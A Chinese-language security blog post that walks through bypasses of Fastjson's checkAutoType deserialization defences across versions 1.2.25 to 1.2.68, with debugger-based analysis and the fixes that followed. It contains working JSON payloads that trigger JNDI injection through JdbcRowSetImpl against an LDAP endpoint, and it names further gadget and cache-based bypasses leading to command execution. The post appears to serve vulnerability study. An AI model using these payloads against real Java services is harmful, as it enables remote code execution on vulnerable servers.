在之前学习的fastjson反序列化与JNDI注入中,只对1.2.24版本有效,这篇文章我们来学习一下高版本的一些绕过手法
1.2.25-1.2.47绕过
在 Fastjson1.2.25 中使用了 checkAutoType 来修复1.2.22-1.2.24中的漏洞,其中有个 autoTypeSupport 默认为 False。当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
补丁绕过(需要开启AutoTypeSupport)
1  | ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  | 
一、1.2.25-1.2.41补丁绕过
我们使用JNDI注入的漏洞进行测试,先将fastjson版本更换为1.2.25,执行原先的代码
1  | package main.java.fastjson;  | 

并不支持JdbcRowSetImpl这个类,可能是被过滤了,等会再来分析,先看看exp
1  | package main.java.fastjson;  | 

调试分析
前面的部分和之前差不多,我们从这里开始分析

第一步还是获取@type的值,为Lcom.sun.rowset.JdbcRowSetImpl;,跟进config.checkAutoType方法

我这里没加ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,这个值默认为false
然后到这里

先进行一个黑名单过滤(黑名单中有com.sun,对com.sun.rowset.JdbcRowSetImpl进行过滤,所以在前面加入L进行绕过),再进行白名单比较(白名单为空),没有return也没有抛出,步过if,最后到这里抛出异常

现在我们加上ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,先进行一次白名单(空),再进行一次黑名单,步过if,然后到这里

跟进这个loadclass

这里我们就可以看到我们这个Lcom.sun.rowset.JdbcRowSetImpl;是怎么来的了,判断是否以L开头,以;结尾,是的话就再去掉,将剩下的部分loadclass,也就成功加载了我们的类
1.2.25-1.2.42补丁绕过
从1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单见:https://github.com/LeadroyaL/fastjson-blacklist,但是这里依旧只是过滤了com.sun.

之前的exp不管用的主要原因是因为在这里多了一次截取操作

所以我们再首尾再加L和;字符即可绕过

由于是调用自身的loadclass方法,所以调用一次之后依旧是Lcom.sun.rowset.JdbcRowSetImpl;
1.2.25-1.2.43补丁绕过
使用之前的exp,会发生错误

原因主要是因为在checkAutotype中,进行了两次if判断,如果存在有两个LL,则会抛出异常

所以就不能用L来绕过,注意到如果开头为[也会有对应操作,代码如下

所以考虑添加[进行绕过,首先尝试如下payload
1  | {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}  | 
出现以下报错:

期望一个[在42的位置上,42的位置正好是,
更换exp
1  | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}  | 
又出现

再更换
1  | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}  | 

1.2.25-1.2.45补丁绕过
需要目标服务端存在mybatis的jar包,且版本需为 3.x.x 系列<3.5.0 的版本
更换为1.2.45版本后,之前的exp也不管用了,是因为下面这段代码

对其第一位进行了一个判断
exp
1  | package main.java.fastjson;  | 

由于 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 不在黑名单中,所以直接能绕过checkAutoType的检测
1.2.25-1.2.47通杀
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两个版本段:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
 - 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
 
exp
1  | package main.java.fastjson;  | 

- 未开启AutoType时
 
因为未开启autotype,所以并不会进入黑名单的判断逻辑

跟进到deserializers.findClass方法

返回Class,然后会到这里

再然后到这里

一样的loadclass,然后到这里

将目标类放入了map缓存
第二次解析时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,然后 return 返回从而成功绕过checkAutoType()检测

- 开启了autotype
 
由于开启了AutoTypeSupport,所以会进行黑白名单判断

第一次解析时@type值为java.lang.Class所以都能通过,最后通过findClass函数获取到Class类
第二次解析时@type值就成了com.sun.rowset.JdbcRowSetImpl此时进行如下判断
1  | if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)  | 
第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。
1.2.48的修复措施
在loadClass时,将缓存开关(cache)默认设置为False,所以就不会通过缓存的判断。同时将Class类加入黑名单
1.2.47-1.2.68版本绕过
68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常,只要设置@type类型,想反序列化指定类对象的时候,就会抛异常,也就是说开了safemod的站可以不用看了。 当然这个版本expectClass绕过AutoType是可以打一打的。
编写以下类
1  | package main.java.fastjson;  | 

调试分析
还是在checkautotype处下个断点

可以发现传入的typename是 AutoCloseable。此时的expectClass是NULL
往下,直接从缓存Mapping可以直接获得此类

然后将该类return,回到DefaultJSONParser类的parseObject方法,调用deserializer.deserialze

然后到这里

由于getSeeAlso方法返回null,所以又调用了一次checkAutoType方法,跟进

然后到这里

由于expectClass != null,步入if结构,然后到这里

跟进

然后到这里

自定义的对象被返回,然后会走到这里

usertype是我们自定义的类,然后到这里

创建一个实例,也就调用了恶意类的static方法,执行命令
© 2024 ycxlo